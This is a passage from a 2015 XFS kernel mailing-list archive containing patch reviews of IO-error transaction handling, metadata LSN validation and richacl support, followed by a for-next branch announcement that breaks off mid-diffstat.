<20151012042827.GD27164@dastard> X-ASG-Orig-Subj: Re: [PATCH] cancel the setfilesize transation when io error happen References: <55F0DF7A.7050404@huawei.com> <20150915114244.GC21323@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20150915114244.GC21323@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444624123 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23407 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 15, 2015 at 07:42:45AM -0400, Brian Foster wrote: > On Thu, Sep 10, 2015 at 09:40:10AM +0800, Zhaohongjiang wrote: > > When I ran xfstest/073 case, the remount process was blocked to wait > > transactions to be zero. I found there was a io error happened, and the > > setfilesize transaction was not released properly. We should add the > > changes to cancel the io error in this case. > > > > Thanks for the patch. Was the io error by chance or part of the test? I > ask because it would be good to have test coverage for this if we don't > currently. > > > Reproduction steps: > > 1. dd if=/dev/zero of=xfs1.img bs=1M count=2048 > > 2. mkfs.xfs xfs1.img > > 3. losetup -f ./xfs1.img /dev/loop0 > > 4. mount -t xfs /dev/loop0 /home/test_dir/ > > 5. mkdir /home/test_dir/test > > 6. mkfs.xfs -dfile,name=image,size=2g > > 7. mount -t xfs -o loop image /home/test_dir/test > > 8. cp a file bigger than 2g to /home/test_dir/test > > 9. mount -t xfs -o remount,ro /home/test_dir/test > > > > Signed-off-by: Zhao Hongjiang > > --- > > fs/xfs/xfs_aops.c | 15 ++++++++++++++- > > 1 file changed, 14 insertions(+), 1 deletion(-) > > > > diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c > > index 50ab287..fab55da 100644 > > --- a/fs/xfs/xfs_aops.c > > +++ b/fs/xfs/xfs_aops.c > > @@ -212,8 +212,21 @@ xfs_end_io( > > ioend->io_error = -EIO; > > goto done; > > } > > - if (ioend->io_error) > > + if (ioend->io_error) { > > + /* > > + * We should cancel the setfilesize transation when io error > > + * happen. > > + */ > > + if (ioend->io_append_trans) { > > + current_set_flags_nested(&ioend->io_append_trans->t_pflags, > > + PF_FSTRANS); > > + rwsem_acquire_read(&VFS_I(XFS_I(ioend->io_inode))->i_sb > > + ->s_writers.lock_map[SB_FREEZE_FS-1], 0, 1, _THIS_IP_); > > + xfs_trans_cancel(ioend->io_append_trans); > > Trailing whitespace on the line above. > > That aside, I wonder if it would be cleaner to put this stuff in a > helper similar to xfs_setfilesize_ioend(). In fact, we could probably > just update xfs_setfilesize_ioend() to check ioend->io_error after > fixing up the task flags and whatnot and cancel the transaction instead > of calling xfs_setfilesize(). Then, call it here also and update the new > comment to point out that it cancels the transaction on error. Thoughts? Agreed, I made this modification on commit. See below. Cheers, Dave. -- Dave Chinner david@fromorbit.com cancel the setfilesize transation when io error happen From: Zhaohongjiang When I ran xfstest/073 case, the remount process was blocked to wait transactions to be zero. I found there was a io error happened, and the setfilesize transaction was not released properly. We should add the changes to cancel the io error in this case. Reproduction steps: 1. dd if=/dev/zero of=xfs1.img bs=1M count=2048 2. mkfs.xfs xfs1.img 3. losetup -f ./xfs1.img /dev/loop0 4. mount -t xfs /dev/loop0 /home/test_dir/ 5. mkdir /home/test_dir/test 6. mkfs.xfs -dfile,name=image,size=2g 7. mount -t xfs -o loop image /home/test_dir/test 8. cp a file bigger than 2g to /home/test_dir/test 9. mount -t xfs -o remount,ro /home/test_dir/test [ dchinner: moved io error detection to xfs_setfilesize_ioend() after transaction context restoration. ] Signed-off-by: Zhao Hongjiang Signed-off-by: Dave Chinner --- fs/xfs/xfs_aops.c | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index aa9b441..c1c87f9 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -172,6 +172,12 @@ xfs_setfilesize_ioend( current_set_flags_nested(&tp->t_pflags, PF_FSTRANS); __sb_writers_acquired(VFS_I(ip)->i_sb, SB_FREEZE_FS); + /* we abort the update if there was an IO error */ + if (ioend->io_error) { + xfs_trans_cancel(tp); + return ioend->io_error; + } + return xfs_setfilesize(ip, tp, ioend->io_offset, ioend->io_size); } @@ -212,14 +218,17 @@ xfs_end_io( ioend->io_error = -EIO; goto done; } - if (ioend->io_error) - goto done; /* * For unwritten extents we need to issue transactions to convert a * range to normal written extens after the data I/O has finished. + * Detecting and handling completion IO errors is done individually + * for each case as different cleanup operations need to be performed + * on error. */ if (ioend->io_type == XFS_IO_UNWRITTEN) { + if (ioend->io_error) + goto done; error = xfs_iomap_write_unwritten(ip, ioend->io_offset, ioend->io_size); } else if (ioend->io_append_trans) { From david@fromorbit.com Sun Oct 11 23:59:02 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 505F97F50 for ; Sun, 11 Oct 2015 23:59:02 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2DD8A8F8033 for ; Sun, 11 Oct 2015 21:59:02 -0700 (PDT) X-ASG-Debug-ID: 1444625938-04cb6c5785ae650001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id D7xUtqafBX4TpITW for ; Sun, 11 Oct 2015 21:58:58 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2ALPAB8PRtWPCSkLHlegyaBAUGGW6I4AQEBAQEBBosbhRqGCoMTggp5AgIBAQKBJ00BAQEBAQEHAQEBAUE/QQEBAwKDXgEBAQMBJxMcIwULCAMOCgklDwUlAwcaE4gmB7x1AQEBAQEFAQEBAR4ZhhOFRYUNB4MagRQFklSDP4gJhQmBYIdeigWISIJ0HYFoKjOBTYIugiglgSIBAQE Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Oct 2015 15:28:18 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZlVBh-0006Xn-FA; Mon, 12 Oct 2015 15:58:17 +1100 Date: Mon, 12 Oct 2015 15:58:17 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: validate metadata LSNs against log on v5 superblocks Message-ID: <20151012045817.GE27164@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: validate metadata LSNs against log on v5 superblocks References: <1443183869-16487-1-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1443183869-16487-1-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444625938 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23407 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Sep 25, 2015 at 08:24:29AM -0400, Brian Foster wrote: > Since the onset of v5 superblocks, the LSN of the last modification has > been included in a variety of on-disk data structures. This LSN is used > to provide log recovery ordering guarantees (e.g., to ensure an older > log recovery item is not replayed over a newer target data structure). > > While this works correctly from the point a filesystem is formatted and > mounted, userspace tools have some problematic behaviors that defeat > this mechanism. For example, xfs_repair historically zeroes out the log > unconditionally (regardless of whether corruption is detected). If this > occurs, the LSN of the filesystem is reset and the log is now in a > problematic state with respect to on-disk metadata structures that might > have a larger LSN. Until either the log catches up to the highest > previously used metadata LSN or each affected data structure is modified > and written out without incident (which resets the metadata LSN), log > recovery is susceptible to filesystem corruption. > > This problem is ultimately addressed and repaired in the associated > userspace tools. The kernel is still responsible to detect the problem > and notify the user that something is wrong. Check the superblock LSN at > mount time and fail the mount if it is invalid. From that point on, > trigger verifier failure on any metadata I/O where an invalid LSN is > detected. This results in a filesystem shutdown and guarantees that we > do not log metadata changes with invalid LSNs on disk. Since this is a > known issue with a known recovery path, present a warning to instruct > the user how to recover. > > Signed-off-by: Brian Foster > --- > > Here's a first non-rfc version of v5 sb metadata LSN verification. The > biggest difference with this version is the attempt to mitigate lock > contention in the LSN helper and corresponding tweak to how the log > fields are updated when the head wraps around the end of the log. The > idea is to do a racy check and only acquire the lock when there appears > to be risk of an invalid LSN. > > AFAICS, this is not safe with the current code as the current LSN can be > sampled in a state that transiently pushes the LSN forward to the end of > the next cycle (if the cycle is updated, both cycle/block are sampled, > and then the block is updated). This means that a false negative can > occur if an invalid LSN happens to exist but is within the bounds of the > next full log cycle. Therefore, this patch also tweaks the current LSN > update and sample code to rewind the current block before the cycle is > updated and uses a memory barrier to guarantee that the sample code > always sees the rewound current block if it sees the updated cycle. Note > that it is still possible to see the rewound block before the cycle > update (a transient backwards LSN), but this is safe because such false > positives are explicitly reverified with the lock held before failure is > triggered. > > Otherwise, this refactors/relocates the helpers and converts back to the > more simple behavior of verifier failure on detection of invalid > metadata LSN. Thoughts, reviews, flames appreciated. > > Brian ..... > @@ -243,8 +244,14 @@ bool > xfs_btree_lblock_verify_crc( > struct xfs_buf *bp) > { > - if (xfs_sb_version_hascrc(&bp->b_target->bt_mount->m_sb)) > + struct xfs_btree_block *block = XFS_BUF_TO_BLOCK(bp); > + struct xfs_mount *mp = bp->b_target->bt_mount; > + > + if (xfs_sb_version_hascrc(&bp->b_target->bt_mount->m_sb)) { mp->m_sb. > xfs_btree_sblock_verify_crc( > struct xfs_buf *bp) > { > - if (xfs_sb_version_hascrc(&bp->b_target->bt_mount->m_sb)) > + struct xfs_btree_block *block = XFS_BUF_TO_BLOCK(bp); > + struct xfs_mount *mp = bp->b_target->bt_mount; > + > + if (xfs_sb_version_hascrc(&bp->b_target->bt_mount->m_sb)) { Ditto. > diff --git a/fs/xfs/libxfs/xfs_da_btree.c b/fs/xfs/libxfs/xfs_da_btree.c > index be43248..e89a0f8 100644 > --- a/fs/xfs/libxfs/xfs_da_btree.c > +++ b/fs/xfs/libxfs/xfs_da_btree.c > @@ -39,6 +39,7 @@ > #include "xfs_trace.h" > #include "xfs_cksum.h" > #include "xfs_buf_item.h" > +#include "xfs_log.h" > > /* > * xfs_da_btree.c > @@ -150,6 +151,8 @@ xfs_da3_node_verify( > return false; > if (be64_to_cpu(hdr3->info.blkno) != bp->b_bn) > return false; > + if (!xfs_log_check_lsn(mp, be64_to_cpu(hdr3->info.lsn))) > + return false; > } else { > if (ichdr.magic != XFS_DA_NODE_MAGIC) > return false; > @@ -322,6 +325,7 @@ xfs_da3_node_create( > if (xfs_sb_version_hascrc(&mp->m_sb)) { > struct xfs_da3_node_hdr *hdr3 = bp->b_addr; > > + memset(hdr3, 0, sizeof(struct xfs_da3_node_hdr)); > ichdr.magic = XFS_DA3_NODE_MAGIC; > hdr3->info.blkno = cpu_to_be64(bp->b_bn); > hdr3->info.owner = cpu_to_be64(args->dp->i_ino); Is this a bug fix or just cleanliness? The LSN gets written into the header before it goes to disk, so there is nothing uninitialised that I am unaware of ending up on disk from this. > @@ -60,6 +61,7 @@ xfs_symlink_hdr_set( > if (!xfs_sb_version_hascrc(&mp->m_sb)) > return 0; > > + memset(dsl, 0, sizeof(struct xfs_dsymlink_hdr)); > dsl->sl_magic = cpu_to_be32(XFS_SYMLINK_MAGIC); > dsl->sl_offset = cpu_to_be32(offset); > dsl->sl_bytes = cpu_to_be32(size); Ditto. > index aaadee0..0c8ef76 100644 > --- a/fs/xfs/xfs_log.c > +++ b/fs/xfs/xfs_log.c > @@ -3165,11 +3165,19 @@ xlog_state_switch_iclogs( > } > > if (log->l_curr_block >= log->l_logBBsize) { > + /* > + * Rewind the current block before the cycle is bumped to make > + * sure that the combined LSN never transiently moves forward > + * when the log wraps to the next cycle. This is to support the > + * unlocked sample of these fields from xlog_valid_lsn(). Most > + * other cases should acquire l_icloglock. > + */ > + log->l_curr_block -= log->l_logBBsize; > + ASSERT(log->l_curr_block >= 0); > + smp_wmb(); > log->l_curr_cycle++; OK, so we make sure the write of the l_curr_block cannot be reordered to after the write of the l_curr_cycle. > diff --git a/fs/xfs/xfs_log_priv.h b/fs/xfs/xfs_log_priv.h > index 950f3f9..8daba74 100644 > --- a/fs/xfs/xfs_log_priv.h > +++ b/fs/xfs/xfs_log_priv.h > @@ -560,4 +560,55 @@ static inline void xlog_wait(wait_queue_head_t *wq, spinlock_t *lock) > remove_wait_queue(wq, &wait); > } > > +/* > + * The LSN is valid so long as it is behind the current LSN. If it isn't, this > + * means that the next log record that includes this metadata could have a > + * smaller LSN. In turn, this means that the modification in the log would not > + * replay. > + */ > +static inline bool > +xlog_valid_lsn( > + struct xlog *log, > + xfs_lsn_t lsn) > +{ > + int cur_cycle; > + int cur_block; > + bool valid = true; > + > + /* > + * First, sample the current lsn without locking to avoid added > + * contention from metadata I/O. The current cycle and block are updated > + * (in xlog_state_switch_iclogs()) and read here in a particular order > + * to avoid false negatives (e.g., thinking the metadata LSN is valid > + * when it is not). > + * > + * The current block is always rewound before the cycle is bumped in > + * xlog_state_switch_iclogs() to ensure the current LSN is never seen in > + * a transiently forward state. Instead, we can see the LSN in a > + * transiently behind state if we happen to race with a cycle wrap. > + */ > + cur_cycle = ACCESS_ONCE(log->l_curr_cycle); > + smp_rmb(); > + cur_block = ACCESS_ONCE(log->l_curr_block); And we make sure the read of the block cannot be reordered to before the l_curr_cycle. Looks ok to me. I'm going to commit this as is because I don't think the memset()s above actuallly change anything on disk. I can always redo the commit if this is in error... Cheers, Dave. -- Dave Chinner david@fromorbit.com From agruenba@redhat.com Mon Oct 12 00:57:41 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BFB737F37 for ; Mon, 12 Oct 2015 00:57:41 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id AF8028F8033 for ; Sun, 11 Oct 2015 22:57:38 -0700 (PDT) X-ASG-Debug-ID: 1444629455-04cbb05fc1447c0001-NocioJ Received: from mail-lb0-f181.google.com (mail-lb0-f181.google.com [209.85.217.181]) by cuda.sgi.com with ESMTP id C2vPkslI7kCuawH2 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Sun, 11 Oct 2015 22:57:36 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.217.181 Received: by lbwr8 with SMTP id r8so130562416lbw.2 for ; Sun, 11 Oct 2015 22:57:34 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=AY+oL4TWYbxIp7eaimq0Gl2d974GgIFaF8JzN+i2ONU=; b=b+n2xOF7dEBNYE8LYTQdyMR1r3eqswwdOoUdh0E6HNvNqobKercDwOh3ffS3h65Mr5 jAKRE3+6YD7QwoLZeptT9ex/+cccbU/Vp2ltuWXPS0bTJN5sZZW3oyexig/UlKgYiUa3 8AVZCIkQfmkBBFSFLYLaZcuSw0gvJTswRdNFkB9n55TkK6LaUVEJxnIxfccabUK/ybOt uB2NetpbqHA4j7NStVaF6RBsQPWdzu4wFdixVtt3ERW7wnD2YOGjeub1MWaQc8/t6EtX nE+rmnc4HECx+4PILgEZC+H9MX3ySRCmSV5C7CgxlcrrnbXJyMa16Q3l+Hl3w1QsPhIM 8xlg== X-Gm-Message-State: ALoCoQmht3uUdhn8CchFH0qL5szuLTNJ5Ny0fMLfUG8ABQWYBRhHJxjbscHjKHCVLnniElT41Xe1 MIME-Version: 1.0 X-Received: by 10.112.126.8 with SMTP id mu8mr11422974lbb.75.1444629454640; Sun, 11 Oct 2015 22:57:34 -0700 (PDT) Received: by 10.112.255.33 with HTTP; Sun, 11 Oct 2015 22:57:34 -0700 (PDT) In-Reply-To: <20151012040545.GC27164@dastard> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> <1444604337-17651-25-git-send-email-andreas.gruenbacher@gmail.com> <20151012001033.GA27164@dastard> <20151012040545.GC27164@dastard> Date: Mon, 12 Oct 2015 07:57:34 +0200 Message-ID: Subject: Re: [PATCH v10 24/46] xfs: Add richacl support From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH v10 24/46] xfs: Add richacl support To: Dave Chinner Cc: =?UTF-8?Q?Andreas_Gr=C3=BCnbacher?= , Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , linux-ext4 , xfs@oss.sgi.com, Linux Kernel Mailing List , Linux FS-devel Mailing List , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API Mailing List Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail-lb0-f181.google.com[209.85.217.181] X-Barracuda-Start-Time: 1444629455 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23408 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Oct 12, 2015 at 6:05 AM, Dave Chinner wrote: > On Mon, Oct 12, 2015 at 03:51:15AM +0200, Andreas Gr=C3=BCnbacher wrote: >> 2015-10-12 2:10 GMT+02:00 Dave Chinner : >> > On Mon, Oct 12, 2015 at 12:58:35AM +0200, Andreas Gruenbacher wrote: >> >> diff --git a/fs/xfs/Kconfig b/fs/xfs/Kconfig >> >> index 5d47b4d..05dd312 100644 >> >> --- a/fs/xfs/Kconfig >> >> +++ b/fs/xfs/Kconfig >> >> @@ -52,6 +52,17 @@ config XFS_POSIX_ACL >> >> >> >> If you don't know what Access Control Lists are, say N. >> >> >> >> +config XFS_RICHACL >> >> + bool "XFS Rich Access Control Lists (EXPERIMENTAL)" >> >> + depends on XFS_FS >> >> + select FS_RICHACL >> >> + help >> >> + Richacls are an implementation of NFSv4 ACLs, extended by = file masks >> >> + to cleanly integrate into the POSIX file permission model.= To learn >> >> + more about them, see http://www.bestbits.at/richacl/. >> >> + >> >> + If you don't know what Richacls are, say N. >> >> + >> > >> > So now we have multiple compile time ACL configs that we have to >> > test. Personally, I see no reason for making either posix or rich >> > acls compile time dependent. How about we just change CONFIG_FS_XFS >> > to have "select FS_POSIX_ACL" and "select FS_RICHACL" >> > unconditionally, and then we can get rid of all the conditional >> > code? >> >> I'm sure neither kind of ACLs makes sense on many tiny systems, it >> should be possible to disable them. XFS may not make sense on those >> kinds of systems either, that is not my call to make though. > > Well, the smallest systems that use XFS are typically 1-2 disk NAS > boxes, and I can see them wanting richacls. As it is, the xfs kernel > module is almost 1MB of object code, so it you have a small embedded > box you don't want XFS. Almost all distros turn on ACL support I'm > not sure that it makes sense to have these config options in XFS > anymore.... You have me convinced about removing CONFIG_XFS_RICHACL. >> >> diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h >> >> index 9590a06..8c6da45 100644 >> >> --- a/fs/xfs/libxfs/xfs_format.h >> >> +++ b/fs/xfs/libxfs/xfs_format.h >> >> @@ -461,10 +461,18 @@ xfs_sb_has_ro_compat_feature( >> >> #define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in = dirent */ >> >> #define XFS_SB_FEAT_INCOMPAT_SPINODES (1 << 1) /* spar= se inode chunks */ >> >> #define XFS_SB_FEAT_INCOMPAT_META_UUID (1 << 2) /* meta= data UUID */ >> >> + >> >> +#ifdef CONFIG_XFS_RICHACL >> >> +#define XFS_SB_FEAT_INCOMPAT_RICHACL (1 << 3) /* richacls */ >> >> +#else >> >> +#define XFS_SB_FEAT_INCOMPAT_RICHACL 0 >> >> +#endif >> >> + >> > >> > Regardless of whether we build in richacl support, this is wrong. >> > Feature bits are on-disk format definitions, so it will always have >> > this value whether or not the kernel supports the feature. >> >> This is so that xfs_mount_validate_sb() will complain when mounting a >> richacl filesystem on a kernel which doesn't have richacl suport >> compiled in. The same effect can be had with extra code there of >> course. > > If the kernel doesn't know about a feature, then it will report > "unknown feature". However, as of this patch set, the kernel will > know about the richacl feature, and so the correct error message > is to say "Rich ACLs not supported by this kernel". > > Also, from a disk format perspective, this is a this is a read-only > compat feature, as kernels that don't have richacl support are still > able to mount and walk the filesystem without errors occurring. It's > only when allowing modifications are made that problems will arise, > so why did you make it an incompat feature? As a read-only compat flag, kernels that cannot enforce richacls would still be able to mount richacl file systems read-only. That's a problem when acls are used to forbid read/execute access. >> >> +int >> >> +xfs_set_richacl(struct inode *inode, struct richacl *acl) >> >> +{ >> >> + struct xfs_inode *ip =3D XFS_I(inode); >> >> + umode_t mode =3D inode->i_mode; >> >> + int error; >> >> + >> >> + if (acl) { >> >> + /* Don't allow acls with unmapped identifiers. */ >> >> + if (richacl_has_unmapped_identifiers(acl)) >> >> + return -EINVAL; >> >> + >> >> + if (richacl_equiv_mode(acl, &mode) =3D=3D 0) { >> >> + xfs_set_mode(inode, mode); >> >> + acl =3D NULL; >> >> + } >> > >> > Comment needed here - why does this now seem to accidentally fall >> > through to removing the ACL? >> >> Setting an ACL that is equivalent to a file mode is the same as >> removing any existing ACLs and doing a chmod to that equivalent file >> mode. It's the sams as with POSIX ACLs, and the code is the same as >> well. I'll add a comment though. >> >> > Also, why is this in the XFS specific >> > code when it's generic richacl functionality that is being checked? >> >> This turns into two non-atomic operations if we move it into generic cod= e. > > I don't follow you - this isn't an atomic operation to begin with... Right, I shouldn't have used the term atomic. It's one inode operation under i_mutex, and the filesystem can pack it into one transaction. Thanks, Andreas From david@fromorbit.com Mon Oct 12 02:48:57 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A87067F3F for ; Mon, 12 Oct 2015 02:48:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 850C4304053 for ; Mon, 12 Oct 2015 00:48:57 -0700 (PDT) X-ASG-Debug-ID: 1444636134-04cb6c578bb20c0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id f0yFjGTELtLnKHPr for ; Mon, 12 Oct 2015 00:48:54 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AoFwCIZRtWPCSkLHldgyYjMW6GW6I5DAEBAQEBAQaLG4UahgoXAoJ6ggp5BIEwTQEBAQEBAQcBAQEBQT9BB4Q7OyQ0BSUDBy2ILZlYo2UZhhONBwxDHYEUBYc8hVGFR4M/hRmHeY5gjSuCOTsdgWgqM4N7giglgSIBAQE Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Oct 2015 18:18:44 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZlXqd-0006qS-Gt for xfs@oss.sgi.com; Mon, 12 Oct 2015 18:48:43 +1100 Date: Mon, 12 Oct 2015 18:48:43 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [ANNOUNCE] xfs: for-next branch updated to 1e2103c Message-ID: <20151012074843.GB31326@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfs: for-next branch updated to 1e2103c MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="ibTvN161/egqYuK8" Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444636134 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23410 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --ibTvN161/egqYuK8 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi folks, The for-next branch of the xfs kernel repository at git://git.kernel.org/pub/scm/linux/kernel/git/dgc/linux-xfs.git has just been updated. The new head of the for-next branch is commit: 1e2103c Merge branch 'xfs-misc-fixes-for-4.4-1' into for-next New Commits: Bill O'Donnell (7): [bb230c1] xfs: create global stats and stats_clear in sysfs [32f0ea0] xfs: create symlink proc/fs/xfs/stat to sys/fs/xfs/stats [50cf5b7] xfs: remove unused procfs code [a27c264] xfs: consolidate sysfs ops [80529c4] xfs: pass xfsstats structures to handlers and macros [225e463] xfs: per-filesystem stats in sysfs [ff6d6af] xfs: per-filesystem stats counter implementation Brian Foster (6): [009c6e8] xfs: add missing ilock around dio write last extent alignme= nt [b7cdc66] xfs: log local to remote symlink conversions correctly on v= 5 supers [a45086e] xfs: validate metadata LSNs against log on v5 superblocks [3136e8b] xfs: always drain dio before extending aio write submission [0a50f16] xfs: add an xfs_zero_eof() tracepoint [dbd5c8c] xfs: pass total block res. as total xfs_bmapi_write() param= eter Dave Chinner (3): [316433b] Merge branch 'xfs-logging-fixes' into for-next [8a56d7c] Merge branch 'xfs-io-fixes' into for-next [1e2103c] Merge branch 'xfs-misc-fixes-for-4.4-1' into for-next Eric Sandeen (3): [91f9f5f] xfs: avoid null *src in memcpy call in xlog_write [847f9f6] xfs: more info from kmem deadlocks and high-level error msgs [9e92054] xfs: simplify /proc teardown & error handling Geliang Tang (1): [fef4ded] libxfs: fix two comment typos Jan Tulak (2): [4e24761] xfs: prefix XATTR_LIST_MAX with XFS_ [51fcbfe] xfs: avoid dependency on Linux XATTR_SIZE_MAX Tetsuo Handa (1): [5bf97b1] xfs: Print name and pid when memory allocation loops Zhaohongjiang (1): [5cb13dc] cancel the setfilesize transation when io error happen Code Diffstat: fs/xfs/kmem.c | 10 +- fs/xfs/libxfs/xfs_alloc.c | 20 ++-- fs/xfs/libxfs/xfs_attr.c | 6 +- fs/xfs/libxfs/xfs_attr_leaf.c | 3 + fs/xfs/libxfs/xfs_attr_remote.c | 2 +- fs/xfs/libxfs/xfs_bmap.c | 30 +++--- fs/xfs/libxfs/xfs_btree.c | 21 ++++- fs/xfs/libxfs/xfs_btree.h | 39 ++++---- fs/xfs/libxfs/xfs_da_btree.c | 4 + fs/xfs/libxfs/xfs_dir2.c | 6 +- fs/xfs/libxfs/xfs_dir2_block.c | 3 + fs/xfs/libxfs/xfs_dir2_data.c | 3 + fs/xfs/libxfs/xfs_dir2_leaf.c | 3 + fs/xfs/libxfs/xfs_dir2_node.c | 3 + fs/xfs/libxfs/xfs_format.h | 10 +- fs/xfs/libxfs/xfs_fs.h | 10 ++ fs/xfs/libxfs/xfs_ialloc.c | 10 +- fs/xfs/libxfs/xfs_sb.c | 10 ++ fs/xfs/libxfs/xfs_symlink_remote.c | 7 ++ fs/xfs/xfs_aops.c | 23 +++-- fs/xfs/xfs_attr_list.c | 2 +- fs/xfs/xfs_bmap_util.c | 2 +- fs/xfs/xfs_buf.c 